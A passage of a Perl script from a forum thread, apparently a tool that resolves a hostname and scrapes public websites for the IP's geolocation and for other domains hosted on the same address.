  36. @      @@@@    @@@@    @    @@@@@  @@@@@     @  @@@@@
  37. @     @    @  @    @   @      @    @         @  @    @
  38. @     @    @  @       @ @     @    @         @  @    @
  39. @     @    @  @       @ @     @    @         @  @    @
  40. @     @    @  @      @   @    @    @@@@      @  @@@@@
  41. @     @    @  @      @   @    @    @         @  @    
  42. @     @    @  @      @@@@@    @    @         @  @    
  43. @     @    @  @    @@     @   @    @         @  @    
  44. @@@@@  @@@@    @@@@ @     @   @    @@@@@     @  @    
  45.  
  46.  
  47.  
  48. );
  49. }
  50.  
  51. sub copyright {
  52.    print "\n\n== --(C) Doddy Hackman 2012 -- ==\n\n";
  53.    exit(1);
  54. }
  55.  
  56. sub infocon {
  57.    my $target = shift;
  58.  
  59.    my $get    = gethostbyname($target);
  60.    my $target = inet_ntoa($get);
  61.  
  62.    print "\n\n[+] Getting info\n\n\n";
  63.    $total =
  64.      "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";
  65.    $re = toma($total);
  66.  
  67.    if ( $re =~ /City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  68.        print "[+] City : $2\n";
  69.    }
  70.    else {
  71.        print "[-] Not Found\n";
  72.        copyright();
  73.    }
  74.    if ( $re =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  75.        print "[+] Country : $2\n";
  76.    }
  77.    if ( $re =~ /State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  78.        print "[+] State or Region : $2\n";
  79.    }
  80.  
  81.    print "\n\n[+] Getting Hosts\n\n\n";
  82.  
  83.    my $code = toma( "http://www.ip-adress.com/reverse_ip/" . $target );
  84.  
  85.    while ( $code =~ /whois\/(.*?)\">Whois/g ) {
  86.        my $dns = $1;
  87.        chomp $dns;
  88.        print "[DNS] : $dns\n";
  89.    }
  90. }
  91.  
  92. sub toma {
  93.    return $nave->get( $_[0] )->content;
  94. }
  95.  
  96. # ¿ The End ?
  97.  
Páginas: 1 ... 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43 44 45 46 47 48 49 50 51 52 53 54 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines